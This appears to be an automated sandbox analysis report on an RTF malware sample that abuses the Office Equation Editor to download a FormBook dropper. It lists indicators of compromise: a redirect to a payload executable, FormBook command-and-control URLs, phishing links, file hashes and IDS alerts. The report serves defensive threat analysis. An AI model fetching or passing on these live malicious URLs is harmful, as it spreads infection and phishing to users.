	Invoice_&_Banking_details.exe	Get hash	malicious	FormBook	Browse	www.teambaddiesent.com/o11y/?Jv1=ZVU+TFHYC94w20+VuauFbc5mAHki4wXr17NQhqU5+T20CS96TKuoHk4ArrdfPppLZitG&I6k=4hIxBFAhePdLi
	Factura_de_proforma_pdf.exe	Get hash	malicious	DBatLoader, FormBook	Browse	www.vivanenergy.com/ed09/?Unj=NcWzkpVrfNqMm41eN7UpMV1Z1pj7g082Ul7Kosu7yp8Tgq2wSTWTECFhfFgJ/Aytv/Qg&UR-4=D8OtmpYpTP
	Receipt_91888_PDF.exe	Get hash	malicious	FormBook	Browse	www.misstamar.mobi/he2a/?Ej=+ndrpoqJBkrx/AVrk4daYrXANuq9Wk84J7BJkdqIrMZVv9dYaOHvLvMiox9ALFSPbd/T&ohPd=S8q0RfV
	BB879OMOJHH.exe	Get hash	malicious	FormBook	Browse	www.misstamar.mobi/he2a/?wVM=+ndrpoqJBkrx/AVrk4daYrXANuq9Wk84J7BJkdqIrMZVv9dYaOHvLvMioxpPQw2xcv7e&lXN=O0GHFhn0BPplp
	Confirmation_receipt_PDF.exe	Get hash	malicious	FormBook	Browse	www.misstamar.mobi/he2a/?nN=8pNTU&Bpg=+ndrpoqJBkrx/AVrk4daYrXANuq9Wk84J7BJkdqIrMZVv9dYaOHvLvMioyFpXxKJROaF7QcPCA==
	svcVJ3Ljwp.exe	Get hash	malicious	FormBook, NSISDropper	Browse	www.fakeittilyoumakeitfinance.com/ge06/?Lv6d=LPwSOSBVc8ythlOnIQFj4MKZD6dv3TVhpdJLV6eyESk7PzOWXbKoEYS1k0BoAfdBpGEk&VPK0i=xN9LEhVxD

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
swamini.in	NEWREST_Procurement.xlsx	Get hash	malicious	Unknown	Browse	103.224.247.210
	sYfKrBVpjn.xlsx	Get hash	malicious	FormBook, NSISDropper	Browse	103.224.247.210
	Quote_EXW..xlsx	Get hash	malicious	FormBook, NSISDropper	Browse	103.224.247.210
	Oder_S65392.xlsx	Get hash	malicious	AgentTesla, NSISDropper	Browse	103.224.247.210
	COFCO-INV231122_Balancepaymentnotice.doc	Get hash	malicious	AveMaria, UACMe	Browse	103.224.247.210
	TN81804BM_Production.doc	Get hash	malicious	FormBook, NSISDropper	Browse	103.224.247.210
	Inquiry-IND23072113.doc	Get hash	malicious	AgentTesla	Browse	103.224.247.210
	310036_for_Production_Requirement.doc	Get hash	malicious	FormBook, NSISDropper	Browse	103.224.247.210

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
EGIHOSTINGUS	Iqgbhvnaowuspb.exe	Get hash	malicious	DBatLoader, FormBook	Browse	104.164.179.89
	SecuriteInfo.com.Win32.PWSX-gen.31207.26757.exe	Get hash	malicious	FormBook	Browse	104.164.179.89
	G1vp1p1HjW.elf	Get hash	malicious	Mirai	Browse	142.253.14.166
	GiRCyG58ws.elf	Get hash	malicious	Mirai	Browse	205.164.20.225
	xpQJmpNCvU.elf	Get hash	malicious	Unknown	Browse	142.111.153.23
	Faktura_proformasi.exe	Get hash	malicious	FormBook	Browse	104.164.179.89
	9008654324456.exe	Get hash	malicious	FormBook	Browse	172.120.78.81
	m2cI5nJYUI.exe	Get hash	malicious	Amadey, Phonk Miner, RedLine, SectopRAT, zgRAT	Browse	192.177.75.157
	skid.x86.elf	Get hash	malicious	Mirai, Moobot	Browse	172.120.223.194
	eKlJmvs8k7.exe	Get hash	malicious	FormBook	Browse	104.253.249.45
	Confirmarea_comenzii.exe	Get hash	malicious	DBatLoader, FormBook	Browse	104.164.179.35
	SrGKzf5pYf.exe	Get hash	malicious	FormBook	Browse	104.164.69.183
	1u31ptQsf6.elf	Get hash	malicious	Okiru	Browse	107.187.182.30
	SecuriteInfo.com.Win32.TrojanX-gen.27173.29057.exe	Get hash	malicious	Unknown	Browse	23.230.0.173
	SecuriteInfo.com.Win32.TrojanX-gen.27173.29057.exe	Get hash	malicious	Unknown	Browse	23.230.0.173
	bHFZDHNHZw.elf	Get hash	malicious	Mirai	Browse	45.39.143.28
	JLavGK0bZb.exe	Get hash	malicious	FormBook	Browse	104.164.141.70
	JndPQJ5g1P.elf	Get hash	malicious	Unknown	Browse	172.121.77.102
	arm7.elf	Get hash	malicious	Mirai	Browse	166.93.117.92
	xd.x86.elf	Get hash	malicious	Mirai	Browse	107.165.1.151
NANBIAN-CNNingboNanbianTuoluoXinxiJishuCoLtdCN	sora.x86.elf	Get hash	malicious	Mirai	Browse	103.133.185.146
	sora.arm7.elf	Get hash	malicious	Mirai	Browse	103.133.185.134
	a0JDLTs0LS.elf	Get hash	malicious	Mirai, RapperBot	Browse	103.133.185.145
	FAT_-_0035.exe	Get hash	malicious	FormBook, NSISDropper	Browse	103.150.181.71
	uMcp66r8xm.elf	Get hash	malicious	Mirai	Browse	103.99.44.7
	jinx.arm7.elf	Get hash	malicious	Unknown	Browse	103.140.228.51
	elasqyvohu.exe	Get hash	malicious	Unknown	Browse	103.150.181.176
	MZbxLJqYM3.elf	Get hash	malicious	Mirai	Browse	103.133.185.156
	B8BuahzlPU	Get hash	malicious	Mirai	Browse	103.133.185.145
	V1yRZzzjuJ	Get hash	malicious	Unknown	Browse	103.133.185.151
	QRJCdtkHy6	Get hash	malicious	Mirai	Browse	103.133.185.115
	eBEMdu87IG	Get hash	malicious	Mirai	Browse	103.133.185.144
	vLqyyo55oA	Get hash	malicious	Gafgyt Mirai	Browse	103.133.185.142
	ORIGINAL PROFORMA INVOICE COAU7220898130,PDF.exe	Get hash	malicious	FormBook	Browse	103.113.95.99
	VHWXOeJWKF	Get hash	malicious	Mirai	Browse	103.133.185.119
	sq9aBtcak6.exe	Get hash	malicious	FormBook	Browse	103.145.39.195
	mixazed.exe	Get hash	malicious	GoBrut	Browse	103.113.92.10
AMAZONEXPANSIONGB	Confirma.exe	Get hash	malicious	FormBook	Browse	3.33.130.190
	Nuevo_orden_pdf.exe	Get hash	malicious	FormBook	Browse	3.33.130.190
	Payment_$5,860.exe	Get hash	malicious	FormBook, NSISDropper	Browse	3.33.130.190
	PO#11231270.doc	Get hash	malicious	FormBook	Browse	3.33.130.190
	https://rjtlawfirm.sharefile.com/d-3e8cb5040ece40a0	Get hash	malicious	HTMLPhisher	Browse	3.33.222.159
	https://att-yahoo-107847.weeblysite.com/	Get hash	malicious	Unknown	Browse	3.33.220.150
	https://rjtlawfirm.sharefile.com/d-9543a8d6e3f84daf	Get hash	malicious	HTMLPhisher	Browse	3.33.222.159
	https://rjtlawfirm.sharefile.com/share/view/4e7ac2a69d944a41	Get hash	malicious	HTMLPhisher	Browse	3.33.222.159
	http://www.asercol.com/	Get hash	malicious	Unknown	Browse	52.223.34.155
	G7DyaA9iz9.exe	Get hash	malicious	Pushdo	Browse	3.33.130.190
	http://usps.uspsbp.com/	Get hash	malicious	Unknown	Browse	3.33.220.150
	http://ky-df3.com	Get hash	malicious	Unknown	Browse	3.33.130.190
	ekstre.exe	Get hash	malicious	FormBook, GuLoader	Browse	3.33.130.190
	https://att-108191.weeblysite.com/	Get hash	malicious	Unknown	Browse	52.223.40.198
	https://znxbamdkwjcbas2562.top/	Get hash	malicious	HTMLPhisher	Browse	52.223.22.214
	https://att-100016.weeblysite.com/	Get hash	malicious	Unknown	Browse	52.223.40.198
	https://pitch.com/v/JW-Behavioral-Center-Project-Bid-Document-s8xcr7	Get hash	malicious	HTMLPhisher	Browse	3.33.152.127
	https://simpledialogue.net/captch/homesi/net/login.php	Get hash	malicious	Unknown	Browse	52.223.40.198
	https://att-108191.weeblysite.com/	Get hash	malicious	Unknown	Browse	3.33.220.150
	https://rebrand.ly/hyjsfgx	Get hash	malicious	Unknown	Browse	3.33.143.57

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
7dcce5b76c8b17472d024758970a406b	NEWREST_Procurement.xlsx	Get hash	malicious	Unknown	Browse	103.224.247.210
	DOCUMENTOVIEW_FACTURAEXPRESS_ESCANEAD_PDFN3D0L3BG5D.exe	Get hash	malicious	Unknown	Browse	103.224.247.210
	sYfKrBVpjn.xlsx	Get hash	malicious	FormBook, NSISDropper	Browse	103.224.247.210
	Quote_EXW..xlsx	Get hash	malicious	FormBook, NSISDropper	Browse	103.224.247.210
	SecuriteInfo.com.Script.SNH-gen.12817.4151.docx	Get hash	malicious	Quasar	Browse	103.224.247.210
	Oder_S65392.xlsx	Get hash	malicious	AgentTesla, NSISDropper	Browse	103.224.247.210
	misure.exe	Get hash	malicious	Unknown	Browse	103.224.247.210
	Reserva_Detalhes.ppam	Get hash	malicious	Unknown	Browse	103.224.247.210
	Reserva_Detalhes.ppam	Get hash	malicious	Unknown	Browse	103.224.247.210
	d#U044f.docx	Get hash	malicious	Unknown	Browse	103.224.247.210
	Order_Contract_8657645.xla.xlsx	Get hash	malicious	Unknown	Browse	103.224.247.210
	approval_order_PO.docx.doc	Get hash	malicious	Remcos	Browse	103.224.247.210
	Doc606112.xls	Get hash	malicious	AgentTesla	Browse	103.224.247.210
	Reserva.ppam	Get hash	malicious	RevengeRAT	Browse	103.224.247.210
	Label-4800014530.docx.doc	Get hash	malicious	Unknown	Browse	103.224.247.210
	Reserva_Cancelar.ppam	Get hash	malicious	Unknown	Browse	103.224.247.210
	Reserva_Cancelar.ppam	Get hash	malicious	Unknown	Browse	103.224.247.210
	ship.js	Get hash	malicious	Unknown	Browse	103.224.247.210
	Reserva_Detalhes.ppam	Get hash	malicious	RevengeRAT	Browse	103.224.247.210
	RESERVA.ppam	Get hash	malicious	RevengeRAT	Browse	103.224.247.210

Process:	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	194
Entropy (8bit):	4.913737935545676
Encrypted:	false
SSDEEP:	6:AYSI0MXLxu2CAIuh7FUPMd3AZmpGWoEwM:zSabxiAIkBUP90pToa
MD5:	9F9D2481859AE4D1911AB9E558F07508
SHA1:	32A08519726621BC8669247E4ED809077C833AB7
SHA-256:	A11631564799E17C365DE2A5A880B6D0F18153134014A5EDA5B71CC625046676
SHA-512:	62B0800A12FC95DE3C68484DBC26C7E87D6FE9CBD836463B331A8EF6A4A133DADCFC6C2012E676DC45DA65087F2ACB9BFC75E7027931890C331294695A3C8995
Malicious:	false
Reputation:	low
Preview:	<head><title>Document Moved</title></head>.<body><h1>Object Moved</h1>This document may be found <a HREF="https://swamini.in/wp-content/uploads/wpr-addons/forms/balokarat2.1.exe">here</a></body>

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\balokarat2.1[1].exe

Download File

Process:	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Category:	dropped
Size (bytes):	345522
Entropy (8bit):	7.70573760188668
Encrypted:	false
SSDEEP:	6144:xBlL/8qFeJ/1IW4/DTgYKfHSAtiHbc2+x/D2LYTx0/BRtLuL3SqSY5dQVxS:X2qFWdIWQTgY2HSkiHbc2+5DLTKcxX
MD5:	B08C02AB269D1406728178E62017C3D4
SHA1:	DA33C4A1A8912C7D08CFB1BF77C59A813419BA64
SHA-256:	4169BC8EF83D44E5CD72DE2F88C40602F7840D578E1EC0BBDD9B2A874BB75C4C
SHA-512:	36516AB0FD27708F38CCEEBDE3AB532D3CAF57598D907A565828ABF999C7D798F5EA02CF99D6EC1F9A142158A22D7BF794D91221E68ED27965C6B509292C64CC
Malicious:	true
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........0(..QF..QF..QF.^...QF..QG.qQF.^...QF.rv..QF..W@..QF.Rich.QF.........PE..L...e:.V.................\...........0.......p....@..........................P...............................................t...........q...........................................................................p..\|............................text....Z.......\.................. ..`.rdata.......p.......`..............@..@.data...8............r..............@....ndata.......P...........................rsrc....q.......r...x..............@..@................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRF{0D330375-5D52-4CE9-AF5C-85661FFB8049}.tmp

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	CE338FE6899778AACFC28414F2D9498B
SHA1:	897256B6709E1A4DA9DABA92B6BDE39CCFCCD8C1
SHA-256:	4FE7B59AF6DE3B665B67788CC2F99892AB827EFAE3A467342B3BB4E3BC8E5BFE
SHA-512:	6EB7F16CF7AFCABE9BDEA88BDAB0469A7937EB715ADA9DFD8F428D9D38D86133945F5F2F2688DDD96062223A39B5D47F07AFC3C48D9DB1D5EE3F41C8D274DCCF
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{549C67C8-FC54-4D4D-BB29-D3A79D220C79}.tmp

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	1024
Entropy (8bit):	0.05390218305374581
Encrypted:	false
SSDEEP:	3:ol3lYdn:4Wn
MD5:	5D4D94EE7E06BBB0AF9584119797B23A
SHA1:	DBB111419C704F116EFA8E72471DD83E86E49677
SHA-256:	4826C0D860AF884D3343CA6460B0006A7A2CE7DBCCC4D743208585D997CC5FD1
SHA-512:	95F83AE84CAFCCED5EAF504546725C34D5F9710E5CA2D11761486970F2FBECCB25F9CF50BBFC272BD75E1A66A18B7783F09E1C1454AFDA519624BC2BB2F28BA4
Malicious:	false
Reputation:	high, very likely benign file
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{A1C61DD4-6598-4E95-AD1C-193CE4549D36}.tmp

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	1024
Entropy (8bit):	1.0862650957458768
Encrypted:	false
SSDEEP:	6:sx+6Mulwc5NgREqAWlgFJAQDlll8vlwijlFwQFrB:4+5ulFk5uFJ/7uvqkKQZB
MD5:	130E0F23E1E679727C6E794A98DFEBB7
SHA1:	C9D85B40BA3CC2211F43DBF5A6214D71D46F3EDC
SHA-256:	A5B0749FF44E1BDBB14A8C60A2F2184C6EAA99CF1F6234A9C39E5A250A654A3C
SHA-512:	D46976FEBEEFF47CD35AF9228B9B025C893F386A686FABE0F6E33259F50C8425E897F874A11969428569BAD70CFD3F273DF2F22F84DD27A83599FCB39C16C1F5
Malicious:	false
Preview:	................9.6.6.2.0.7.8.1.4.3.7.4.4.1.4.9.3.0.7.3.5.5.2.3.=......... .E.q.u.a.t.i.o.n...3.E.M.B.E.D...........................................................................................................................................................................................................................................................................................................................................................................................................................B...D...J...............................................................................................................................................................................................................................................................................................................................................................................................................................j....CJ..OJ..QJ..U..^J..aJ.. .j`..i...CJ..OJ..QJ..U..^J..aJ.

C:\Users\user\AppData\Local\Temp\twbcaze.exe

Download File

Process:	C:\Users\user\AppData\Roaming\word.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	203776
Entropy (8bit):	6.346026797085734
Encrypted:	false
SSDEEP:	3072:EzV7OxQ1rAQChXoFwC6B83WvMgn3vAdtFJ1XjUQztpwWDWwmL7hQmFX565/GIXrC:EzVUQVshXo+9ASSTUQxSwYmmFJcro5
MD5:	9C416E56B341D900E2DFEC7595CC85EE
SHA1:	50036AC5E3AE4698945D9D979A5533EF48D344ED
SHA-256:	38E786FFD9E88C04DB2DADA4C569C07CBEAF2684FEAC986EC833A6C97EF12CF3
SHA-512:	1DB2C03E7261A05FF0513F92B94C808B32C66D9F01C8975544E494ACB2ECC33CA399844086916B8C87E73D24B1CBD9995F79B19DE320CC51627BF58667E7922E
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....\e.................L........................@..........................p.......................................................................................................................s...............................................text...pK.......L.................. ..`.rdata.......`.......P..............@..@.data...\4.......(..................@....00cfg.......@......................@..@.tls.........P......................@....voltbl.j....`..................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\vieaa.phf

Download File

Process:	C:\Users\user\AppData\Roaming\word.exe
File Type:	data
Category:	dropped
Size (bytes):	210425
Entropy (8bit):	7.993649505823361
Encrypted:	true
SSDEEP:	3072:acHD+Nt+R1EsKRB+0nquZH07MVetuY+5ih/RYsQZU4AH+Ueh0Kw9BA+t/GG6gj:ae1Esaxt07jtufch/6HtyJe5GAI/X6i
MD5:	E5420CCC616B60691918C7AB170CD28E
SHA1:	3ECB4822670DA0E1989102FC3D21CB84AE377D3A
SHA-256:	07C2C358CB69396A7F7E0EBA42619181E0E3054C4D75FC4E81F3808B0B9DFC29
SHA-512:	6B98D963BE0C8B5A14A98D878384E2FFC4428E344FA5383E1733D6C089FF535146C9D15D73AF36379FAD1B4CF73FCB001E0146E0896213A4E653F1644AF236DE
Malicious:	false
Preview:	....f../..a...u.]...(L'......T6.....d]...[....J.......j....O....B..}.1......`...o...+.W......D]NR....%....B9Km..wY...y.....F.f....%..z2=...-.-..G.R...jZ}t...b.&S.qm...1A..`G..z.6....$..U0H....6v..mp....k..K..0..>'....\...G0....@.W..#..v.TA../...X1.P..;...<=.\.`Z.......]..v[....J.......j...^O...N.B=..VX....7A..@..M..2lu.T5./....M..L......_..Wm.W....y....D...[....n......,.v....@.u...aj..4..4$. .E......1A........6.v..$.~.0j7....v..mY./x=.-.12..0..>'...%.-...(....2@....#..vH..TA../....X1.P..?...<=.\.JZT6.....d]...[....J.......j...^O...N.B=..VX....7A..@..M..2lu.T5./....M..L......_..Wm.W....y....D...[....n......,.v....@.u...aj..4..4$. .E......1A..`G..z.6....$...0j.a..6v..mY./x=.-.K2..0..>'...%.-...(....2@....#..vH..TA../....X1.P..?...<=.\.JZT6.....d]...[....J.......j...^O...N.B=..VX....7A..@..M..2lu.T5./....M..L......_..Wm.W....y....D...[....n......,.v....@.u...aj..4..4$. .E......1A..`G..z.6....$...0j.a..6v..mY./x=.-.K2..0..>'.

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\SecuriteInfo.com.RTF.Obfuscated-gen.19663.16514.LNK

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Fri Aug 11 15:42:04 2023, mtime=Fri Aug 11 15:42:04 2023, atime=Tue Nov 21 11:25:51 2023, length=3443, window=hide
Category:	dropped
Size (bytes):	1199
Entropy (8bit):	4.540809578612031
Encrypted:	false
SSDEEP:	24:8KbV/XTwdxO45HHyDJeNHHytDv3qEwk7N:8KbV/XTkd5HHeJuHHDEwiN
MD5:	279B3E83EA98BAFD8587081FAADFE3C2
SHA1:	5125E4FFF34256189E26CA141FE48DD7A6CE4B2C
SHA-256:	B8A1F272B088257F378124F90EE56AC1D9E6F9E3069386FCFBA92F7C27AA9D09
SHA-512:	DB97D748E4D8B51ABD54D5C74802C40A171792F26CF77D416A57120C8470E6BBFE69F73F004670C1FC8840BF1C732D4C41AA2363F196E5FB1A3F057CB5A2C4AA
Malicious:	false
Preview:	L..................F.... .......r.......r.....O.u...s............................P.O. .:i.....+00.../C:\...................t.1.....QK.X..Users.`.......:..QK.X...................6.....U.s.e.r.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.8.1.3.....L.1......WC...user.8......QK.X.WC....&=....U...............A.l.b.u.s.....z.1......WD...Desktop.d......QK.X.WD...._=..............:.....D.e.s.k.t.o.p...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.6.9.......2.s...uW:c .SECURI~1.RTF..........WC..WC..........................S.e.c.u.r.i.t.e.I.n.f.o...c.o.m...R.T.F...O.b.f.u.s.c.a.t.e.d.-.g.e.n...1.9.6.6.3...1.6.5.1.4...r.t.f.......................-...8...[............?J......C:\Users\..#...................\\226533\Users.user\Desktop\SecuriteInfo.com.RTF.Obfuscated-gen.19663.16514.rtf.J.....\.....\.....\.....\.....\.D.e.s.k.t.o.p.\.S.e.c.u.r.i.t.e.I.n.f.o...c.o.m...R.T.F...O.b.f.u.s.c.a.t.e.d.-.g.e.n...1.9.6.6.3...1.6.5.1.4...r.t.f.........:..,.LB.)...Ag...............1SPS.XF.L8C....&.m.m............-...S

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\index.dat

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	Generic INItialization configuration [folders]
Category:	dropped
Size (bytes):	129
Entropy (8bit):	5.038678879902177
Encrypted:	false
SSDEEP:	3:H9rbJ12ZTAgRLp5om4P8bJ12ZTAgRLp5ov:H9rt12ZNd5jt12ZNd5y
MD5:	BFD257F822EF401F0FE69371316A0691
SHA1:	EDFFDCE568ECE72EC949B08E0A2F34E00EC91174
SHA-256:	429F327731ED96965057646D6731067881FC7B613BA254FA67B4754248819336
SHA-512:	0EDBACF16A845E9CB898900E8A3B6C990A938A8816F692EC2202A365F3191B1EFA489D09FFE60CEA4DFE4AC262F9C570CFF4AEC4C0B4ADEC08852B001E36418F
Malicious:	false
Preview:	[misc]..SecuriteInfo.com.RTF.Obfuscated-gen.19663.16514.LNK=0..[folders]..SecuriteInfo.com.RTF.Obfuscated-gen.19663.16514.LNK=0..

C:\Users\user\AppData\Roaming\Microsoft\Templates\~$Normal.dotm

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	162
Entropy (8bit):	2.4797606462020307
Encrypted:	false
SSDEEP:	3:vrJlaCkWtVyHlqlzl0pbklMWjV4lc+/dllln:vdsCkWtWYlz21kF2JV/l
MD5:	2CF7D3B8DED3F1D5CE1AC92F3E51D4ED
SHA1:	95E13378EA9CACA068B2687F01E9EF13F56627C2
SHA-256:	60DF94CDE4FD9B4A73BB13775079D75CE954B75DED5A2878277FA64AD767CAB1
SHA-512:	2D5797FBBE44766D93A5DE3D92911358C70D8BE60D5DF542ECEDB77D1195DC1EEF85E4CA1445595BE81550335A20AB3F11B512385FE20F75B1E269D6AB048E0A
Malicious:	false
Preview:	.user..................................................A.l.b.u.s.............p........1...............2..............@3...............3......z.......p4......x...

C:\Users\user\AppData\Roaming\word.exe

Download File

Process:	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Category:	dropped
Size (bytes):	345522
Entropy (8bit):	7.70573760188668
Encrypted:	false
SSDEEP:	6144:xBlL/8qFeJ/1IW4/DTgYKfHSAtiHbc2+x/D2LYTx0/BRtLuL3SqSY5dQVxS:X2qFWdIWQTgY2HSkiHbc2+5DLTKcxX
MD5:	B08C02AB269D1406728178E62017C3D4
SHA1:	DA33C4A1A8912C7D08CFB1BF77C59A813419BA64
SHA-256:	4169BC8EF83D44E5CD72DE2F88C40602F7840D578E1EC0BBDD9B2A874BB75C4C
SHA-512:	36516AB0FD27708F38CCEEBDE3AB532D3CAF57598D907A565828ABF999C7D798F5EA02CF99D6EC1F9A142158A22D7BF794D91221E68ED27965C6B509292C64CC
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........0(..QF..QF..QF.^...QF..QG.qQF.^...QF.rv..QF..W@..QF.Rich.QF.........PE..L...e:.V.................\...........0.......p....@..........................P...............................................t...........q...........................................................................p..\|............................text....Z.......\.................. ..`.rdata.......p.......`..............@..@.data...8............r..............@....ndata.......P...........................rsrc....q.......r...x..............@..@................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Desktop\~$curiteInfo.com.RTF.Obfuscated-gen.19663.16514.rtf

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	162
Entropy (8bit):	2.4797606462020307
Encrypted:	false
SSDEEP:	3:vrJlaCkWtVyHlqlzl0pbklMWjV4lc+/dllln:vdsCkWtWYlz21kF2JV/l
MD5:	2CF7D3B8DED3F1D5CE1AC92F3E51D4ED
SHA1:	95E13378EA9CACA068B2687F01E9EF13F56627C2
SHA-256:	60DF94CDE4FD9B4A73BB13775079D75CE954B75DED5A2878277FA64AD767CAB1
SHA-512:	2D5797FBBE44766D93A5DE3D92911358C70D8BE60D5DF542ECEDB77D1195DC1EEF85E4CA1445595BE81550335A20AB3F11B512385FE20F75B1E269D6AB048E0A
Malicious:	false
Preview:	.user..................................................A.l.b.u.s.............p........1...............2..............@3...............3......z.......p4......x...

Static File Info

General

File type:	Rich Text Format data, version 1
Entropy (8bit):	4.135232264520108
TrID:	Rich Text Format (5005/1) 55.56% Rich Text Format (4004/1) 44.44%
File name:	SecuriteInfo.com.RTF.Obfuscated-gen.19663.16514.rtf
File size:	3'443 bytes
MD5:	db71e76c281983819c7259fd25618513
SHA1:	cfbeb69bdcf67546aafabb4dfe72ad4cbec77ec3
SHA256:	ddbd4b7c13d365eb339aad4d0e2deb0dff4b50287d5111f57ca8756f3746f940
SHA512:	6bc20e1a03fc37d5cbb74597fd694ae7a481c2c4d1a1fa10a54d66bc423538fc49022b65e534dfde1d9b29ecaf5db283733a12031f0d8890e0bbf81a03dc76bf
SSDEEP:	96:Of+TITOFimbXBrNKMnIRj2DhSUDmqNvmr:STOkmbRR3IgAUSqkr
TLSH:	39610BB947942CD2D893C4F0CA187CEA82B8F11782DEB551842CEC31197B12A7E7D982
File Content Preview:	{\rtf1.........{\\bWModeBW549517209 \.}.{\296620781\object73414323\objlink92997226\objw5083\objh5169{\+\objupdate85292348529234\\objdata51440{\*\fttruetype802692110 \bin00\499944563543248708}.{\qmspace689212854 \bin00\94374414930735523}.69ee3f0e02000000

File Icon


Icon Hash:	2764a3aaaeb7bdbf

Static RTF Info

Objects

Id	Start	Format ID	Format	Classname	Datasize	Filename	Sourcepath	Temppath	Exploit
0	0000008Bh								no

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
192.168.2.22103.224.247.21049161802021697 11/21/23-13:25:55.147417	TCP	2021697	ET TROJAN EXE Download Request To Wordpress Folder Likely Malicious	49161	80	192.168.2.22	103.224.247.210
192.168.2.22107.164.111.10149165802031412 11/21/23-13:26:55.450467	TCP	2031412	ET TROJAN FormBook CnC Checkin (GET)	49165	80	192.168.2.22	107.164.111.101
192.168.2.223.33.130.19049166802031412 11/21/23-13:27:15.263664	TCP	2031412	ET TROJAN FormBook CnC Checkin (GET)	49166	80	192.168.2.22	3.33.130.190

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 21, 2023 13:25:54.770240068 CET	49161	80	192.168.2.22	103.224.247.210
Nov 21, 2023 13:25:55.136569023 CET	80	49161	103.224.247.210	192.168.2.22
Nov 21, 2023 13:25:55.136800051 CET	49161	80	192.168.2.22	103.224.247.210
Nov 21, 2023 13:25:55.147417068 CET	49161	80	192.168.2.22	103.224.247.210
Nov 21, 2023 13:25:55.514156103 CET	80	49161	103.224.247.210	192.168.2.22
Nov 21, 2023 13:25:55.514302969 CET	49161	80	192.168.2.22	103.224.247.210
Nov 21, 2023 13:25:55.593086958 CET	49162	443	192.168.2.22	103.224.247.210
Nov 21, 2023 13:25:55.593139887 CET	443	49162	103.224.247.210	192.168.2.22
Nov 21, 2023 13:25:55.593209982 CET	49162	443	192.168.2.22	103.224.247.210
Nov 21, 2023 13:25:55.609181881 CET	49162	443	192.168.2.22	103.224.247.210
Nov 21, 2023 13:25:55.609200954 CET	443	49162	103.224.247.210	192.168.2.22
Nov 21, 2023 13:25:56.730706930 CET	443	49162	103.224.247.210	192.168.2.22
Nov 21, 2023 13:25:56.730827093 CET	49162	443	192.168.2.22	103.224.247.210
Nov 21, 2023 13:25:56.735972881 CET	49162	443	192.168.2.22	103.224.247.210
Nov 21, 2023 13:25:56.735980034 CET	443	49162	103.224.247.210	192.168.2.22
Nov 21, 2023 13:25:56.736287117 CET	443	49162	103.224.247.210	192.168.2.22
Nov 21, 2023 13:25:56.736344099 CET	49162	443	192.168.2.22	103.224.247.210
Nov 21, 2023 13:25:56.867254972 CET	49162	443	192.168.2.22	103.224.247.210
Nov 21, 2023 13:25:56.913253069 CET	443	49162	103.224.247.210	192.168.2.22
Nov 21, 2023 13:25:57.605598927 CET	443	49162	103.224.247.210	192.168.2.22
Nov 21, 2023 13:25:57.605658054 CET	443	49162	103.224.247.210	192.168.2.22
Nov 21, 2023 13:25:57.605695963 CET	443	49162	103.224.247.210	192.168.2.22
Nov 21, 2023 13:25:57.605775118 CET	49162	443	192.168.2.22	103.224.247.210
Nov 21, 2023 13:25:57.608815908 CET	49162	443	192.168.2.22	103.224.247.210
Nov 21, 2023 13:25:57.608834028 CET	443	49162	103.224.247.210	192.168.2.22
Nov 21, 2023 13:25:57.608890057 CET	49162	443	192.168.2.22	103.224.247.210
Nov 21, 2023 13:25:57.611144066 CET	49162	443	192.168.2.22	103.224.247.210
Nov 21, 2023 13:25:57.972647905 CET	443	49162	103.224.247.210	192.168.2.22
Nov 21, 2023 13:25:57.972661018 CET	443	49162	103.224.247.210	192.168.2.22
